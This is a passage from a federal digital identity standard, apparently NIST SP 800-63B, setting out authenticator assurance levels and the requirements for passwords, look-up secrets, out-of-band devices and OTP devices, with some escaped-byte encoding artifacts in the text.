claimant SHALL be authenticated with at least a given level of strength to be recognized as a subscriber. The result of an authentication process is an identifier that SHALL be used each time that subscriber authenticates to that RP. The identifier MAY be pseudonymous. Subscriber identifiers SHOULD NOT be reused for a different subject but SHOULD be reused when a previously-enrolled subject is re-enrolled by the CSP. Other attributes that identify the subscriber as a unique subject MAY also be provided. Detailed normative requirements for authenticators and verifiers at each AAL are provided in Section 5. See SP 800-63 Section 6.2 for details on how to choose the most appropriate AAL. FIPS 140 requirements are satisfied by FIPS 140-2 or newer revisions. At IAL1, it is possible that attributes are collected and made available by the digital identity service. Any PII or other personal information \xe2\x80\x94 whether self-asserted or validated \xe2\x80\x94 requires multi-factor authentication. Therefore, agencies SHALL select a minimum of AAL2 when self-asserted PII or other personal information is made available online. 4.1 Authenticator Assurance Level 1 This section is normative. AAL1 provides some assurance that the claimant controls an authenticator bound to the subscriber\xe2\x80\x99s account. AAL1 requires either single-factor or multi-factor authentication using a wide range of available authentication technologies. Successful authentication requires that the claimant prove possession and control of the authenticator through a secure authentication protocol. 4.1.1 Permitted Authenticator Types AAL1 authentication SHALL occur by the use of any of the following authenticator types, which are defined in Section 5: Memorized Secret (Section 5.1.1) Look-Up Secret (Section 5.1.2) Out-of-Band Devices (Section 5.1.3) Single-Factor One-Time Password (OTP) Device (Section 5.1.4) Multi-Factor OTP Device (Section 5.1.5) Single-Factor Cryptographic Software (Section 5.1.6) Single-Factor Cryptographic Device (Section 5.1.7) Multi-Factor Cryptographic Software (Section 5.1.8) Multi-Factor Cryptographic Device (Section 5.1.9) 4.1.2 Authenticator and Verifier Requirements Cryptographic authenticators used at AAL1 SHALL use approved cryptography. Software-based authenticators that operate within the context of an operating system MAY, where applicable, attempt to detect compromise (e.g., by malware) of the user endpoint in which they are running and SHOULD NOT complete the operation when such a compromise is detected. Communication between the claimant and verifier (using the primary channel in the case of an out-of-band authenticator) SHALL be via an authenticated protected channel to provide confidentiality of the authenticator output and resistance to man-in-the-middle (MitM) attacks. Verifiers operated by government agencies at AAL1 SHALL be validated to meet the requirements of FIPS 140 Level 1. 4.1.3 Reauthentication Periodic reauthentication of subscriber sessions SHALL be performed as described in Section 7.2. At AAL1, reauthentication of the subscriber SHOULD be repeated at least once per 30 days during an extended usage session, regardless of user activity. The session SHOULD be terminated (i.e., logged out) when this time limit is reached. 4.1.4 Security Controls The CSP SHALL employ appropriately-tailored security controls from the low baseline of security controls defined in SP 800-53 or equivalent federal (e.g. FEDRAMP) or industry standard. The CSP SHALL ensure that the minimum assurance-related controls for low-impact systems, or equivalent, are satisfied. 4.1.5 Records Retention Policy The CSP shall comply with its respective records retention policies in accordance with applicable laws, regulations, and policies, including any National Archives and Records Administration (NARA) records retention schedules that may apply. If the CSP opts to retain records in the absence of any mandatory requirements, the CSP SHALL conduct a risk management process, including assessments of privacy and security risks, to determine how long records should be retained and SHALL inform the subscriber of that retention policy. 4.2 Authenticator Assurance Level 2 This section is normative. AAL2 provides high confidence that the claimant controls authenticator(s) bound to the subscriber\xe2\x80\x99s account. Proof of possession and control of two distinct authentication factors is required through secure authentication protocol(s). Approved cryptographic techniques are required at AAL2 and above. 4.2.1 Permitted Authenticator Types At AAL2, authentication SHALL occur by the use of either a multi-factor authenticator or a combination of two single-factor authenticators. A multi-factor authenticator requires two factors to execute a single authentication event, such as a cryptographically-secure device with an integrated biometric sensor that is required to activate the device. Authenticator requirements are specified in Section 5. When a multi-factor authenticator is used, any of the following MAY be used: Multi-Factor OTP Device (Section 5.1.5) Multi-Factor Cryptographic Software (Section 5.1.8) Multi-Factor Cryptographic Device (Section 5.1.9) When a combination of two single-factor authenticators is used, it SHALL include a Memorized Secret authenticator (Section 5.1.1) and one possession-based (i.e., \xe2\x80\x9csomething you have\xe2\x80\x9d) authenticator from the following list: Look-Up Secret (Section 5.1.2) Out-of-Band Device (Section 5.1.3) Single-Factor OTP Device (Section 5.1.4) Single-Factor Cryptographic Software (Section 5.1.6) Single-Factor Cryptographic Device (Section 5.1.7) Note: When biometric authentication meets the requirements in Section 5.2.3, the device has to be authenticated in addition to the biometric \xe2\x80\x94 a biometric is recognized as a factor, but not recognized as an authenticator by itself. Therefore, when conducting authentication with a biometric, it is unnecessary to use two authenticators because the associated device serves as \xe2\x80\x9csomething you have,\xe2\x80\x9d while the biometric serves as \xe2\x80\x9csomething you are.\xe2\x80\x9d 4.2.2 Authenticator and Verifier Requirements Cryptographic authenticators used at AAL2 SHALL use approved cryptography. Authenticators procured by government agencies SHALL be validated to meet the requirements of FIPS 140 Level 1. Software-based authenticators that operate within the context of an operating system MAY, where applicable, attempt to detect compromise of the platform in which they are running (e.g., by malware) and SHOULD NOT complete the operation when such a compromise is detected. At least one authenticator used at AAL2 SHALL be replay resistant as described in Section 5.2.8. Authentication at AAL2 SHOULD demonstrate authentication intent from at least one authenticator as discussed in Section 5.2.9. Communication between the claimant and verifier (the primary channel in the case of an out-of-band authenticator) SHALL be via an authenticated protected channel to provide confidentiality of the authenticator output and resistance to MitM attacks. Verifiers operated by government agencies at AAL2 SHALL be validated to meet the requirements of FIPS 140 Level 1. When a device such as a smartphone is used in the authentication process, the unlocking of that device (typically done using a PIN or biometric) SHALL NOT be considered one of the authentication factors. Generally, it is not possible for a verifier to know that the device had been locked or if the unlock process met the requirements for the relevant authenticator type. When a biometric factor is used in authentication at AAL2, the performance requirements stated in Section 5.2.3 SHALL be met, and the verifier SHOULD make a determination that the biometric sensor and subsequent processing meet these requirements. 4.2.3 Reauthentication Periodic reauthentication of subscriber sessions SHALL be performed as described in Section 7.2. At AAL2, authentication of the subscriber SHALL be repeated at least once per 12 hours during an extended usage session, regardless of user activity. Reauthentication of the subscriber SHALL be repeated following any period of inactivity lasting 30 minutes or longer. The session SHALL be terminated (i.e., logged out) when either of these time limits is reached. Reauthentication of a session that has not yet reached its time limit MAY require only a memorized secret or a biometric in conjunction with the still-valid session secret. The verifier MAY prompt the user to cause activity just before the inactivity timeout. 4.2.4 Security Controls The CSP SHALL employ appropriately-tailored security controls from the moderate baseline of security controls defined in SP 800-53 or equivalent federal (e.g., FEDRAMP) or industry standard. The CSP SHALL ensure that the minimum assurance-related controls for moderate-impact systems or equivalent are satisfied. 4.2.5 Records Retention Policy The CSP shall comply with its respective records retention policies in accordance with applicable laws, regulations, and policies, including any NARA records retention schedules that may apply. If the CSP opts to retain records in the absence of any mandatory requirements, the CSP SHALL conduct a risk management process, including assessments of privacy and security risks to determine how long records should be retained and SHALL inform the subscriber of that retention policy. 4.3 Authenticator Assurance Level 3 This section is normative. AAL3 provides very high confidence that the claimant controls authenticator(s) bound to the subscriber\xe2\x80\x99s account. Authentication at AAL3 is based on proof of possession of a key through a cryptographic protocol. AAL3 authentication SHALL use a hardware-based authenticator and an authenticator that provides verifier impersonation resistance \xe2\x80\x94 the same device MAY fulfill both these requirements. In order to authenticate at AAL3, claimants SHALL prove possession and control of two distinct authentication factors through secure authentication protocol(s). Approved cryptographic techniques are required. 4.3.1 Permitted Authenticator Types AAL3 authentication SHALL occur by the use of one of a combination of authenticators satisfying the requirements in Section 4.3. Possible combinations are: Multi-Factor Cryptographic Device (Section 5.1.9) Single-Factor Cryptographic Device (Section 5.1.7) used in conjunction with Memorized Secret (Section 5.1.1) Multi-Factor OTP device (software or hardware) (Section 5.1.5) used in conjunction with a Single-Factor Cryptographic Device (Section 5.1.7) Multi-Factor OTP device (hardware only) (Section 5.1.5) used in conjunction with a Single-Factor Cryptographic Software (Section 5.1.6) Single-Factor OTP device (hardware only) (Section 5.1.4) used in conjunction with a Multi-Factor Cryptographic Software Authenticator (Section 5.1.8) Single-Factor OTP device (hardware only) (Section 5.1.4) used in conjunction with a Single-Factor Cryptographic Software Authenticator (Section 5.1.6) and a Memorized Secret (Section 5.1.1) 4.3.2 Authenticator and Verifier Requirements Communication between the claimant and verifier SHALL be via an authenticated protected channel to provide confidentiality of the authenticator output and resistance to MitM attacks. All cryptographic device authenticators used at AAL3 SHALL be verifier impersonation resistant as described in Section 5.2.5 and SHALL be replay resistant as described in Section 5.2.8. All authentication and reauthentication processes at AAL3 SHALL demonstrate authentication intent from at least one authenticator as described in Section 5.2.9. Multi-factor authenticators used at AAL3 SHALL be hardware cryptographic modules validated at FIPS 140 Level 2 or higher overall with at least FIPS 140 Level 3 physical security. Single-factor cryptographic devices used at AAL3 SHALL be validated at FIPS 140 Level 1 or higher overall with at least FIPS 140 Level 3 physical security. Verifiers at AAL3 SHALL be validated at FIPS 140 Level 1 or higher. Verifiers at AAL3 SHALL be verifier compromise resistant as described in Section 5.2.7 with respect to at least one authentication factor. Hardware-based authenticators and verifiers at AAL3 SHOULD resist relevant side-channel (e.g., timing and power-consumption analysis) attacks. Relevant side-channel attacks SHALL be determined by a risk assessment performed by the CSP. When a device such a smartphone is used in the authentication process \xe2\x80\x94 presuming that the device is able to meet the requirements above \xe2\x80\x94 the unlocking of that device SHALL NOT be considered to satisfy one of the authentication factors. This is because it is generally not possible for verifier to know that the device had been locked nor whether the unlock process met the requirements for the relevant authenticator type. When a biometric factor is used in authentication at AAL3, the verifier SHALL make a determination that the biometric sensor and subsequent processing meet the performance requirements stated in Section 5.2.3. 4.3.3 Reauthentication Periodic reauthentication of subscriber sessions SHALL be performed as described in Section 7.2. At AAL3, authentication of the subscriber SHALL be repeated at least once per 12 hours during an extended usage session, regardless of user activity, as described in Section 7.2. Reauthentication of the subscriber SHALL be repeated following any period of inactivity lasting 15 minutes or longer. Reauthentication SHALL use both authentication factors. The session SHALL be terminated (i.e., logged out) when either of these time limits is reached. The verifier MAY prompt the user to cause activity just before the inactivity timeout. 4.3.4 Security Controls The CSP SHALL employ appropriately-tailored security controls from the high baseline of security controls defined in SP 800-53 or an equivalent federal (e.g., FEDRAMP) or industry standard. The CSP SHALL ensure that the minimum assurance-related controls for high-impact systems or equivalent are satisfied. 4.3.5 Records Retention Policy The CSP shall comply with its respective records retention policies in accordance with applicable laws, regulations, and policies, including any NARA records retention schedules that may apply. If the CSP opts to retain records in the absence of any mandatory requirements, the CSP SHALL conduct a risk management process, including assessments of privacy and security risks, to determine how long records should be retained and SHALL inform the subscriber of that retention policy. 4.4 Privacy Requirements The CSP SHALL employ appropriately-tailored privacy controls defined in SP 800-53 or equivalent industry standard. If CSPs process attributes for purposes other than identity proofing, authentication, or attribute assertions (collectively \xe2\x80\x9cidentity service\xe2\x80\x9d), related fraud mitigation, or to comply with law or legal process, CSPs SHALL implement measures to maintain predictability and manageability commensurate with the privacy risk arising from the additional processing. Measures MAY include providing clear notice, obtaining subscriber consent, or enabling selective use or disclosure of attributes. When CSPs use consent measures, CSPs SHALL NOT make consent for the additional processing a condition of the identity service. Regardless of whether the CSP is an agency or private sector provider, the following requirements apply to an agency offering or using the authentication service: The agency SHALL consult with their Senior Agency Official for Privacy (SAOP) and conduct an analysis to determine whether the collection of PII to issue or maintain authenticators triggers the requirements of the Privacy Act of 1974 [Privacy Act] (see Section 9.4). The agency SHALL publish a System of Records Notice (SORN) to cover such collections, as applicable. The agency SHALL consult with their SAOP and conduct an analysis to determine whether the collection of PII to issue or maintain authenticators triggers the requirements of the E-Government Act of 2002 [E-Gov]. The agency SHALL publish a Privacy Impact Assessment (PIA) to cover such collection, as applicable. 4.5 Summary of Requirements This section is informative. Table 4-1 summarizes the requirements for each of the AALs: Table 4-1 AAL Summary of Requirements Requirement AAL1 AAL2 AAL3 Permitted authenticator types Memorized Secret; Look-up Secret; Out-of-Band; SF OTP Device; MF OTP Device; SF Crypto Software; SF Crypto Device; MF Crypto Software; MF Crypto Device MF OTP Device; MF Crypto Software; MF Crypto Device; or Memorized Secret plus: \xc2 \xe2\x80\xa2\xc2 Look-up Secret \xc2 \xe2\x80\xa2\xc2 Out-of-Band \xc2 \xe2\x80\xa2\xc2 SF OTP Device \xc2 \xe2\x80\xa2\xc2 SF Crypto Software \xc2 \xe2\x80\xa2\xc2 SF Crypto Device MF Crypto Device; SF Crypto Device plus \xc2 \xc2 Memorized Secret; SF OTP Device plus MF Crypto Device or Software; SF OTP Device plus SF Crypto Software plus Memorized Secret FIPS 140 validation Level 1 (Government agency verifiers) Level 1 (Government agency authenticators and verifiers) Level 2 overall (MF authenticators) Level 1 overall (verifiers and SF Crypto Devices) Level 3 physical security (all authenticators) Reauthentication 30 days 12 hours or 30 minutes inactivity; MAY use one authentication factor 12 hours or 15 minutes inactivity; SHALL use both authentication factors Security controls SP 800-53 Low Baseline (or equivalent) SP 800-53 Moderate Baseline (or equivalent) SP 800-53 High Baseline (or equivalent) MitM resistance Required Required Required Verifier-impersonation resistance Not required Not required Required Verifier-compromise resistance Not required Not required Required Replay resistance Not required Required Required Authentication intent Not required Recommended Required Records Retention Policy Required Required Required Privacy Controls Required Required Required 5 Authenticator and Verifier Requirements This section is normative. This section provides the detailed requirements specific to each type of authenticator. With the exception of reauthentication requirements specified in Section 4 and the requirement for verifier impersonation resistance at AAL3 described in Section 5.2.5, the technical requirements for each of the authenticator types are the same regardless of the AAL at which the authenticator is used. 5.1 Requirements by Authenticator Type 5.1.1 Memorized Secrets A Memorized Secret authenticator \xe2\x80\x94 commonly referred to as a password or, if numeric, a PIN \xe2\x80\x94 is a secret value intended to be chosen and memorized by the user. Memorized secrets need to be of sufficient complexity and secrecy that it would be impractical for an attacker to guess or otherwise discover the correct secret value. A memorized secret is something you know. 5.1.1.1 Memorized Secret Authenticators Memorized secrets SHALL be at least 8 characters in length if chosen by the subscriber. Memorized secrets chosen randomly by the CSP or verifier SHALL be at least 6 characters in length and MAY be entirely numeric. If the CSP or verifier disallows a chosen memorized secret based on its appearance on a blacklist of compromised values, the subscriber SHALL be required to choose a different memorized secret. No other complexity requirements for memorized secrets SHOULD be imposed. A rationale for this is presented in Appendix A Strength of Memorized Secrets. 5.1.1.2 Memorized Secret Verifiers Verifiers SHALL require subscriber-chosen memorized secrets to be at least 8 characters in length. Verifiers SHOULD permit subscriber-chosen memorized secrets at least 64 characters in length. All printing ASCII [RFC 20] characters as well as the space character SHOULD be acceptable in memorized secrets. Unicode [ISO/ISC 10646] characters SHOULD be accepted as well. To make allowances for likely mistyping, verifiers MAY replace multiple consecutive space characters with a single space character prior to verification, provided that the result is at least 8 characters in length. Truncation of the secret SHALL NOT be performed. For purposes of the above length requirements, each Unicode code point SHALL be counted as a single character. If Unicode characters are accepted in memorized secrets, the verifier SHOULD apply the Normalization Process for Stabilized Strings using either the NFKC or NFKD normalization defined in Section 12.1 of Unicode Standard Annex 15 [UAX 15]. This process is applied before hashing the byte string representing the memorized secret. Subscribers choosing memorized secrets containing Unicode characters SHOULD be advised that some characters may be represented differently by some endpoints, which can affect their ability to authenticate successfully. Memorized secrets that are randomly chosen by the CSP (e.g., at enrollment) or by the verifier (e.g., when a user requests a new PIN) SHALL be at least 6 characters in length and SHALL be generated using an approved random bit generator [SP 800-90Ar1]. Memorized secret verifiers SHALL NOT permit the subscriber to store a \xe2\x80\x9chint\xe2\x80\x9d that is accessible to an unauthenticated claimant. Verifiers SHALL NOT prompt subscribers to use specific types of information (e.g., \xe2\x80\x9cWhat was the name of your first pet?\xe2\x80\x9d) when choosing memorized secrets. When processing requests to establish and change memorized secrets, verifiers SHALL compare the prospective secrets against a list that contains values known to be commonly-used, expected, or compromised. For example, the list MAY include, but is not limited to: Passwords obtained from previous breach corpuses. Dictionary words. Repetitive or sequential characters (e.g. \xe2\x80\x98aaaaaa\xe2\x80\x99, \xe2\x80\x981234abcd\xe2\x80\x99). Context-specific words, such as the name of the service, the username, and derivatives thereof. If the chosen secret is found in the list, the CSP or verifier SHALL advise the subscriber that they need to select a different secret, SHALL provide the reason for rejection, and SHALL require the subscriber to choose a different value. Verifiers SHOULD offer guidance to the subscriber, such as a password-strength meter [Meters], to assist the user in choosing a strong memorized secret. This is particularly important following the rejection of a memorized secret on the above list as it discourages trivial modification of listed (and likely very weak) memorized secrets [Blacklists]. Verifiers SHALL implement a rate-limiting mechanism that effectively limits the number of failed authentication attempts that can be made on the subscriber\xe2\x80\x99s account as described in Section 5.2.2. Verifiers SHOULD NOT impose other composition rules (e.g., requiring mixtures of different character types or prohibiting consecutively repeated characters) for memorized secrets. Verifiers SHOULD NOT require memorized secrets to be changed arbitrarily (e.g., periodically). However, verifiers SHALL force a change if there is evidence of compromise of the authenticator. Verifiers SHOULD permit claimants to use \xe2\x80\x9cpaste\xe2\x80\x9d functionality when entering a memorized secret. This facilitates the use of password managers, which are widely used and in many cases increase the likelihood that users will choose stronger memorized secrets. In order to assist the claimant in successfully entering a memorized secret, the verifier SHOULD offer an option to display the secret \xe2\x80\x94 rather than a series of dots or asterisks \xe2\x80\x94 until it is entered. This allows the claimant to verify their entry if they are in a location where their screen is unlikely to be observed. The verifier MAY also permit the user\xe2\x80\x99s device to display individual entered characters for a short time after each character is typed to verify correct entry. This is particularly applicable on mobile devices. The verifier SHALL use approved encryption and an authenticated protected channel when requesting memorized secrets in order to provide resistance to eavesdropping and MitM attacks. Verifiers SHALL store memorized secrets in a form that is resistant to offline attacks. Memorized secrets SHALL be salted and hashed using a suitable one-way key derivation function. Key derivation functions take a password, a salt, and a cost factor as inputs then generate a password hash. Their purpose is to make each password guessing trial by an attacker who has obtained a password hash file expensive and therefore the cost of a guessing attack high or prohibitive. Examples of suitable key derivation functions include Password-based Key Derivation Function 2 (PBKDF2) [SP 800-132] and Balloon [BALLOON]. A memory-hard function SHOULD be used because it increases the cost of an attack. The key derivation function SHALL use an approved one-way function such as Keyed Hash Message Authentication Code (HMAC) [FIPS 198-1], any approved hash function in SP 800-107, Secure Hash Algorithm 3 (SHA-3) [FIPS 202], CMAC [SP 800-38B] or Keccak Message Authentication Code (KMAC), Customizable SHAKE (cSHAKE), or ParallelHash [SP 800-185]. The chosen output length of the key derivation function SHOULD be the same as the length of the underlying one-way function output. The salt SHALL be at least 32 bits in length and be chosen arbitrarily so as to minimize salt value collisions among stored hashes. Both the salt value and the resulting hash SHALL be stored for each subscriber using a memorized secret authenticator. For PBKDF2, the cost factor is an iteration count: the more times the PBKDF2 function is iterated, the longer it takes to compute the password hash. Therefore, the iteration count SHOULD be as large as verification server performance will allow, typically at least 10,000 iterations. In addition, verifiers SHOULD perform an additional iteration of a key derivation function using a salt value that is secret and known only to the verifier. This salt value, if used, SHALL be generated by an approved random bit generator [SP 800-90Ar1] and provide at least the minimum security strength specified in the latest revision of SP 800-131A (112 bits as of the date of this publication). The secret salt value SHALL be stored separately from the hashed memorized secrets (e.g., in a specialized device like a hardware security module). With this additional iteration, brute-force attacks on the hashed memorized secrets are impractical as long as the secret salt value remains secret. 5.1.2 Look-Up Secrets A look-up secret authenticator is a physical or electronic record that stores a set of secrets shared between the claimant and the CSP. The claimant uses the authenticator to look up the appropriate secret(s) needed to respond to a prompt from the verifier. For example, the verifier may ask a claimant to provide a specific subset of the numeric or character strings printed on a card in table format. A common application of look-up secrets is the use of ""recovery keys"" stored by the subscriber for use in the event another authenticator is lost or malfunctions. A look-up secret is something you have. 5.1.2.1 Look-Up Secret Authenticators CSPs creating look-up secret authenticators SHALL use an approved random bit generator [SP 800-90Ar1] to generate the list of secrets and SHALL deliver the authenticator securely to the subscriber. Look-up secrets SHALL have at least 20 bits of entropy. Look-up secrets MAY be distributed by the CSP in person, by postal mail to the subscriber\xe2\x80\x99s address of record, or by online distribution. If distributed online, look-up secrets SHALL be distributed over a secure channel in accordance with the post-enrollment binding requirements in Section 6.1.2. If the authenticator uses look-up secrets sequentially from a list, the subscriber MAY dispose of used secrets, but only after a successful authentication. 5.1.2.2 Look-Up Secret Verifiers Verifiers of look-up secrets SHALL prompt the claimant for the next secret from their authenticator or for a specific (e.g., numbered) secret. A given secret from an authenticator SHALL be used successfully only once. If the look-up secret is derived from a grid card, each cell of the grid SHALL be used only once. Verifiers SHALL store look-up secrets in a form that is resistant to offline attacks. Look-up secrets having at least 112 bits of entropy SHALL be hashed with an approved one-way function as described in Section 5.1.1.2. Look-up secrets with fewer than 112 bits of entropy SHALL be salted and hashed using a suitable one-way key derivation function, also described in Section 5.1.1.2. The salt value SHALL be at least 32 in bits in length and arbitrarily chosen so as to minimize salt value collisions among stored hashes. Both the salt value and the resulting hash SHALL be stored for each look-up secret. For look-up secrets that have less than 64 bits of entropy, the verifier SHALL implement a rate-limiting mechanism that effectively limits the number of failed authentication attempts that can be made on the subscriber\xe2\x80\x99s account as described in Section 5.2.2. The verifier SHALL use approved encryption and an authenticated protected channel when requesting look-up secrets in order to provide resistance to eavesdropping and MitM attacks. 5.1.3 Out-of-Band Devices An out-of-band authenticator is a physical device that is uniquely addressable and can communicate securely with the verifier over a distinct communications channel, referred to as the secondary channel. The device is possessed and controlled by the claimant and supports private communication over this secondary channel, separate from the primary channel for e-authentication. An out-of-band authenticator is something you have. The out-of-band authenticator can operate in one of the following ways: - The claimant transfers a secret received by the out-of-band device via the secondary channel to the verifier using the primary channel. For example, the claimant may receive the secret on their mobile device and type it (typically a 6-digit code) into their authentication session. - The claimant transfers a secret received via the primary channel to the out-of-band device for transmission to the verifier via the secondary channel. For example, the claimant may view the secret on their authentication session and either type it into an app on their mobile device or use a technology such as a barcode or QR code to effect the transfer. - The claimant compares secrets received from the primary channel and the secondary channel and confirms the authentication via the secondary channel. The secret's purpose is to securely bind the authentication operation on the primary and secondary channel. When the response is via the primary communication channel, the secret also establishes the claimant's control of the out-of-band device. 5.1.3.1 Out-of-Band Authenticators The out-of-band authenticator SHALL establish a separate channel with the verifier in order to retrieve the out-of-band secret or authentication request. This channel is considered to be out-of-band with respect to the primary communication channel (even if it terminates on the same device) provided the device does not leak information from one channel to the other without the authorization of the claimant. The out-of-band device SHOULD be uniquely addressable and communication over the secondary channel SHALL be encrypted unless sent via the public switched telephone network (PSTN). For additional authenticator requirements specific to the PSTN, see Section 5.1.3.3. Methods that do not prove possession of a specific device, such as voice-over-IP (VOIP) or email, SHALL NOT be used for out-of-band authentication. The out-of-band authenticator SHALL uniquely authenticate itself in one of the following ways when communicating with the verifier: Establish an authenticated protected channel to the verifier using approved cryptography. The key used SHALL be stored in suitably secure storage available to the authenticator application (e.g., keychain storage, TPM, TEE, secure element). Authenticate to a public mobile telephone network using a SIM card or equivalent that uniquely identifies the device. This method SHALL only be used if a secret is being sent from the verifier to the out-of-band device via the PSTN (SMS or voice). If a secret is sent by the verifier to the out-of-band device, the device SHOULD NOT display the authentication secret while it is locked by the owner (i.e., requires an entry of a PIN, passcode, or biometric to view). However, authenticators SHOULD indicate the receipt of an authentication secret on a locked device. If the out-of-band authenticator sends an approval message over the secondary communication channel \xe2\x80\x94 rather than by the claimant transferring a received secret to the primary communication channel \xe2\x80\x94 it SHALL do one of the following: The authenticator SHALL accept transfer of the secret from the primary channel which it SHALL send to the verifier over the secondary channel to associate the approval with the authentication transaction. The claimant MAY perform the transfer manually or use a technology such as a barcode or QR code to effect the transfer. The authenticator SHALL present a secret received via the secondary channel from the verifier and prompt the claimant to verify the consistency of that secret with the primary channel, prior to accepting a yes/no response from the claimant. It SHALL then send that response to the verifier. 5.1.3.2 Out-of-Band Verifiers For additional verification requirements specific to the PSTN, see Section 5.1.3.3. If out-of-band verification is to be made using a secure application, such as on a smart phone, the verifier MAY send a push notification to that device. The verifier then waits for the establishment of an authenticated protected channel and verifies the authenticator\xe2\x80\x99s identifying key. The verifier SHALL NOT store the identifying key itself, but SHALL use a verification method (e.g., an approved hash function or proof of possession of the identifying key) to uniquely identify the authenticator. Once authenticated, the verifier transmits the authentication secret to the authenticator. Depending on the type of out-of-band authenticator, one of the following SHALL take place: Transfer of secret to primary channel: The verifier MAY signal the device containing the subscriber\xe2\x80\x99s authenticator to indicate readiness to authenticate. It SHALL then transmit a random secret to the out-of-band authenticator. The verifier SHALL then wait for the secret to be returned on the primary communication channel. Transfer of secret to secondary channel: The verifier SHALL display a random authentication secret to the claimant via the primary channel. It SHALL then wait for the secret to be returned on the secondary channel from the claimant\xe2\x80\x99s out-of-band authenticator. Verification of secrets by claimant: The verifier SHALL display a random authentication secret to the claimant via the primary channel, and SHALL send the same secret to the out-of-band authenticator via the secondary channel for presentation to the claimant. It SHALL then wait for an approval (or disapproval) message via the secondary channel. In all cases, the authentication SHALL be considered invalid if not completed within 10 minutes. In order to provide replay resistance as described in Section 5.2.8, verifiers SHALL accept a given authentication secret only once during the validity period. The verifier SHALL generate random authentication secrets with at least 20 bits of entropy using an approved random bit generator [SP 800-90Ar1]. If the authentication secret has less than 64 bits of entropy, the verifier SHALL implement a rate-limiting mechanism that effectively limits the number of failed authentication attempts that can be made on the subscriber\xe2\x80\x99s account as described in Section 5.2.2. 5.1.3.3 Authentication using the Public Switched Telephone Network Use of the PSTN for out-of-band verification is RESTRICTED as described in this section and in Section 5.2.10. If out-of-band verification is to be made using the PSTN, the verifier SHALL verify that the pre-registered telephone number being used is associated with a specific physical device. Changing the pre-registered telephone number is considered to be the binding of a new authenticator and SHALL only occur as described in Section 6.1.2. Verifiers SHOULD consider risk indicators such as device swap, SIM change, number porting, or other abnormal behavior before using the PSTN to deliver an out-of-band authentication secret. NOTE: Consistent with the restriction of authenticators in Section 5.2.10, NIST may adjust the RESTRICTED status of the PSTN over time based on the evolution of the threat landscape and the technical operation of the PSTN. 5.1.4 Single-Factor OTP Device A single-factor OTP device generates OTPs. This category includes hardware devices and software-based OTP generators installed on devices such as mobile phones. These devices have an embedded secret that is used as the seed for generation of OTPs and does not require activation through a second factor. The OTP is displayed on the device and manually input for transmission to the verifier, thereby proving possession and control of the device. An OTP device may, for example, display 6 characters at a time. A single-factor OTP device is something you have. Single-factor OTP devices are similar to look-up secret authenticators with the exception that the secrets are cryptographically and independently generated by the authenticator and verifier and compared by the verifier. The secret is computed based on a nonce that may be time-based or from a counter on the authenticator and verifier. 5.1.4.1 Single-Factor OTP Authenticators Single-factor OTP authenticators contain two persistent values. The first is a symmetric key that persists for the device\xe2\x80\x99s lifetime. The second is a nonce that is either changed each time the authenticator is used or is based on a real-time clock. The secret key and its algorithm SHALL provide at least the minimum security strength specified in the latest revision of SP 800-131A (112 bits as of the date of this publication). The nonce SHALL be of sufficient length to ensure that it is unique for each operation of the device over its lifetime. OTP authenticators \xe2\x80\x94 particularly software-based OTP generators \xe2\x80\x94 SHOULD discourage and SHALL NOT facilitate the cloning of the secret key onto multiple devices. The authenticator output is obtained by using an approved block cipher or hash function to combine the key and nonce in a secure manner. The authenticator output MAY be truncated to as few as 6 decimal digits (approximately 20 bits of entropy). If the nonce used to generate the authenticator output is based on a real-time clock, the nonce SHALL be changed at least once every 2 minutes. The OTP value associated with a given nonce SHALL be accepted only once. 5.1.4.2 Single-Factor OTP Verifiers Single-factor OTP verifiers effectively duplicate the process of generating the OTP used by the authenticator. As such, the symmetric keys used by authenticators are also present in the verifier, and SHALL be strongly protected against compromise. When a single-factor OTP authenticator is being associated with a subscriber account, the verifier or associated CSP SHALL use approved cryptography to either generate and exchange or to obtain the secrets required to duplicate the authenticator output. The verifier SHALL use approved encryption and an authenticated protected channel when collecting the OTP in order to provide resistance to eavesdropping and MitM attacks. Time-based OTPs [RFC 6238] SHALL have a defined lifetime that is determined by the expected clock drift \xe2\x80\x94 in either direction \xe2\x80\x94 of the authenticator over its lifetime, plus allowance for network delay and user entry of the OTP. In order to provide replay resistance as described in Section 5.2.8, verifiers SHALL accept a given time-based OTP only once during the validity period. If the authenticator output has less than 64 bits of entropy, the verifier SHALL implement a rate-limiting mechanism that effectively limits the number of failed authentication attempts that can be made on the subscriber\xe2\x80\x99s account as described in Section 5.2.2. 5.1.5 Multi-Factor OTP Devices A multi-factor OTP device generates OTPs for use in authentication after activation through an additional authentication factor. This includes hardware devices and software-based OTP generators installed on devices such as mobile phones. The second factor of authentication may be achieved through some kind of integral entry pad, an integral biometric (e.g., fingerprint) reader, or a direct computer interface (e.g., USB port). The OTP is displayed on the device and manually input for transmission to the verifier. For example, an OTP device may display 6 characters at a time, thereby proving possession and control of the device. The multi-factor OTP device is something you have, and it SHALL be activated by either something you know or something you are. 5.1.5.1 Multi-Factor OTP Authenticators Multi-factor OTP authenticators operate in a similar manner to single-factor OTP authenticators (see Section 5.1.4.1), except that they require the entry of either a memorized secret or the use of a biometric to obtain the OTP from the authenticator. Each use of the authenticator SHALL require the input of the additional factor. In addition to activation information, multi-factor OTP authenticators contain two persistent values. The first is a symmetric key that persists for the device\xe2\x80\x99s lifetime. The second is a nonce that is either changed each time the authenticator is used or is based on a real-time clock. The secret key and its algorithm SHALL provide at least the minimum security strength specified in the latest revision of [SP 800-131A] (112 bits as of the date of this publication). The nonce SHALL be of sufficient length to ensure that it is unique for each operation of the device over its lifetime. OTP authenticators \xe2\x80\x94 particularly software-based OTP generators \xe2\x80\x94 SHOULD discourage and SHALL NOT facilitate the cloning of the secret key onto multiple devices. The authenticator output is obtained by using an approved block cipher or hash function to combine the key and nonce in a secure manner. The authenticator output MAY be truncated to as few as 6 decimal digits (approximately 20 bits of entropy). If the nonce used to generate the authenticator output is based on a real-time clock, the nonce SHALL be changed at least once every 2 minutes. The OTP value associated with a given nonce SHALL be accepted only once. Any memorized secret used by the authenticator for activation SHALL be a randomly-chosen numeric secret at least 6 decimal digits in length or other memorized secret meeting the requirements of Section 5.1.1.2 and SHALL be rate limited as specified in Section 5.2.2. A biometric activation factor SHALL meet the requirements of Section 5.2.3, including limits on the number of consecutive authentication failures. The unencrypted key and activation secret or biometric sample \xe2\x80\x94 and any biometric data derived from the biometric sample such as a probe produced through signal processing \xe2\x80\x94 SHALL be zeroized immediately after an OTP has been generated. 5.1.5.2 Multi-Factor OTP Verifiers Multi-factor OTP verifiers effectively duplicate the process of generating the OTP used by the authenticator, but without the requirement that a second factor be provided. As such, the symmetric keys used by authenticators SHALL be strongly protected against compromise. When a 